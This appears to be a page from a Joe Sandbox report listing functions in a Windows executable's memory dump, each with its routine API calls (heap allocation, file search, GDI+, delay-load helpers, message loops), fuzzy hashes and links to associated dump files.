Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: a0775265fe313753d11967d956faa9bc4436c13e6434a06673d3f074f6332504
Instruction ID: 78f5142d24be8678314c0706da86f5f68783f5214f19445106e9c37f0a8ccde9
Opcode Fuzzy Hash: a0775265fe313753d11967d956faa9bc4436c13e6434a06673d3f074f6332504
Instruction Fuzzy Hash: 9B112B329083509ED318EB69AC16BDD3FE49B55320F10646AF058B22D3DFB016C8CB62

Function 00E2A7FE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00E2DBEC,00000000,?,00E280B1,?,00000008,?,00E2A871,?,?,?), ref: 00E2A830

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: edcf28c71f5112d0b8f0fc689a5da0878df71c5785a7c38e5d2e7962d1f55c1d
Instruction ID: 729cf2e81bac298a6154ab50374cf62b4f55a79aafe7f3aa83160f03a2cfa71a
Opcode Fuzzy Hash: edcf28c71f5112d0b8f0fc689a5da0878df71c5785a7c38e5d2e7962d1f55c1d
Instruction Fuzzy Hash: 2FE065711012715BE63D2666BD0DB5B3A89DB417A4F1D2131ED05B60D2DB54DC42C1E7

Function 00E0B966 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00E0BA94: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BABD
Part of subcall function 00E0BA94: FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BAEB
Part of subcall function 00E0BA94: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00E0B98B,000000FF,?,?), ref: 00E0BAF7

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00E0B991

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: a165a165009b72e1ebe857d37bbe74dcd2fdd25cb86a9f24e95700e0ced4fa4c
Instruction ID: 975bf38899b714859345f6a41edde3970c9576d884b5e9a440bb7494d2dc82a6
Opcode Fuzzy Hash: a165a165009b72e1ebe857d37bbe74dcd2fdd25cb86a9f24e95700e0ced4fa4c
Instruction Fuzzy Hash: 77F08232009790BACA221BB448047CBBBD17F5A339F009A49F2FD322D2C77450D99B22

Function 00E12128 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00E1215D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 2eb7cdf9481706b4242c5022831ee0aed551ab6ea4c98b13047a4f82989defc3
Instruction ID: 8defa39139c7e815cc9c665f3ea16d2491540280eeb367193c020b69c8dda022
Opcode Fuzzy Hash: 2eb7cdf9481706b4242c5022831ee0aed551ab6ea4c98b13047a4f82989defc3
Instruction Fuzzy Hash: 45D0C221B0505026DB1633383C057FD0A861FC3324F0820AAB30A321D78B5508C786B2

Function 00E1B636 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00E1B63C

Part of subcall function 00E1B3C8: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00E1B3E9

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction ID: 457460277bceae5a1cf395e3721f7cced96ba3f1069c62008a189ac7ba9818f9
Opcode Fuzzy Hash: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction Fuzzy Hash: 66D0A77060420876DF012B60CC02AFF76D49B10384F009132B901B5190EFF1D9A05191

Function 00E1F747 Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00E1F76F

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 9a61e6b8d5a2efc456339e34ef3e2afb99ba8cbca43769a400b50f10033e1b5f
Instruction ID: 0d1b58f3f4482e9f224d5d2fbbb89f882785e89a3f88e391d85bd849a6698aef
Opcode Fuzzy Hash: 9a61e6b8d5a2efc456339e34ef3e2afb99ba8cbca43769a400b50f10033e1b5f
Instruction Fuzzy Hash: A0D01230964208AEC621FB75BC5A7D522E0F3483DCF512633F746B11D1C7A045C486D1

Function 00E1EEBD Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00E12E88), ref: 00E1EEE2

Part of subcall function 00E1C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00E1C769
Part of subcall function 00E1C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00E1C77A
Part of subcall function 00E1C758: IsDialogMessageW.USER32(000104FE,?), ref: 00E1C78E
Part of subcall function 00E1C758: TranslateMessage.USER32(?), ref: 00E1C79C
Part of subcall function 00E1C758: DispatchMessageW.USER32(?), ref: 00E1C7A6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 5164b01ad396c705c1070d4e0c7ab0a12d36e9ab7dfdc030bd41b9ae2d480c45
Instruction ID: 0ee2f1557c9e6674b5b500cb1d9e1e64b835dbfb8e423537f9a16af2ff00ee06
Opcode Fuzzy Hash: 5164b01ad396c705c1070d4e0c7ab0a12d36e9ab7dfdc030bd41b9ae2d480c45
Instruction Fuzzy Hash: 28D09E76184200AED6012B52DD06F1A7AE2BB98B05F005555B345740F186A29D659B02

Function 00E0AB1C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00E0AA1E), ref: 00E0AB28

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b8371bcb96461d72ceae4a6f0a1c49fd940b1e9d47c1889138957d35d2635240
Instruction ID: 380fa88d62a6ae18355627269f2832a9757080d1a2cc1f5b15c6b7e14f6b86ab
Opcode Fuzzy Hash: b8371bcb96461d72ceae4a6f0a1c49fd940b1e9d47c1889138957d35d2635240
Instruction Fuzzy Hash: 92C0123500030D89CE300A2498480957623AA623697B8B3A5D064D50E1C3228CC7EE03

Function 00E1F3C8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5043e7329f54bed01d0ab215a0a2580215c413951dc0b23108a75d59a2054ffc
Instruction ID: aa00ea8595e0570ab2de379705c48185716a878c811b3d4371540eeea4a5d9d0
Opcode Fuzzy Hash: 5043e7329f54bed01d0ab215a0a2580215c413951dc0b23108a75d59a2054ffc
Instruction Fuzzy Hash: 0AB012B23AD5027D3248A1553C17EB6026CC0C0F10730B03EF001F4081D8401C855071

Function 00E1F3DC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5c45c2fc02635ba61870e72fa043c6422010cb61dccff33e506ba98dc589c7b7
Instruction ID: 9b06a50c498b15064e2b823301454b38bc32b557bae1fd8d52c73efd5243bea1
Opcode Fuzzy Hash: 5c45c2fc02635ba61870e72fa043c6422010cb61dccff33e506ba98dc589c7b7
Instruction Fuzzy Hash: BDB012B23AF6027E3288A2543C27EB6026DC1C0F10B30B13EF001F0081D8401CC55071

Function 00E1F3A0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 39289ebe80c592dd6b365b410d76e50b86a2d2b6382c5f892f70f76e93750a31
Instruction ID: 20bc53a97374a06ee1aca3373baa5985f517ef4ed6759f5043c3951b48081bf7
Opcode Fuzzy Hash: 39289ebe80c592dd6b365b410d76e50b86a2d2b6382c5f892f70f76e93750a31
Instruction Fuzzy Hash: 24B012E23AD5027D3248A1943C17EB6036CC0C0F10730F43EF001F0182D8401C895071

Function 00E1F3AA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4e2d55b513ef3d89add5aa7d4fd06797f241cb070888ee96c63f3778a310c0e5
Instruction ID: 9654d4365a93af2352550870cb0e3d64c9bee848346c644313fc78d38d01c19c
Opcode Fuzzy Hash: 4e2d55b513ef3d89add5aa7d4fd06797f241cb070888ee96c63f3778a310c0e5
Instruction Fuzzy Hash: 38B012B23AD5027D3248A1543C17EBA026CC0C1F10730F03EF401F0081D8401C895071

Function 00E1F3BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 62e20e31551359e9926030f486745548fda20439568427a4955c5d727dcfc5e9
Instruction ID: a368d5785a049563eb854f066e1704bf21b04fc5a1753f7861205b9709e614fe
Opcode Fuzzy Hash: 62e20e31551359e9926030f486745548fda20439568427a4955c5d727dcfc5e9
Instruction Fuzzy Hash: F6B012B23AD5027D3248A1543D17EB6026CC0C0F10730B03EF001F4081D8801D865071

Function 00E1F382 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c4e50a76623ead4f1751726f54aaa35c1eb04019f3109d13d60e43856ea36af4
Instruction ID: b5d082727f3005879995f955000848e35c554426158c43f4132e0e0c1b87510c
Opcode Fuzzy Hash: c4e50a76623ead4f1751726f54aaa35c1eb04019f3109d13d60e43856ea36af4
Instruction Fuzzy Hash: 17B012E23AD5027D3248A1543C17EBA026CC0C1F10730F03EF401F0182D8401C895071

Function 00E1F38C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa3e1f50ce96384826a7ffdf389a5d40918cb799da499e6d7eee7d663f7d7b89
Instruction ID: 624888eec84453b45b11f1991cc95a6ca3d06b029fde47ce89b41a8ac72e54a0
Opcode Fuzzy Hash: fa3e1f50ce96384826a7ffdf389a5d40918cb799da499e6d7eee7d663f7d7b89
Instruction Fuzzy Hash: F2B012E23BD6027E3288A1543C17EB6026CC0C0F10730F13EF001F0182D8401CC95071

Function 00E1F396 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8dd488d7f8c7836c4e8e3dad1a034b3e85a5ac63a268c5633bf127c23a7b5276
Instruction ID: c4d6317f8b95e48a8c75363f96b77982c73fdaaff124046bbd64c78be8835b0a
Opcode Fuzzy Hash: 8dd488d7f8c7836c4e8e3dad1a034b3e85a5ac63a268c5633bf127c23a7b5276
Instruction Fuzzy Hash: 32B012E23AD5027D3248A1543D17EB6026CC0C0F10730F03EF001F4182D8901C8E5071

Function 00E1F364 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
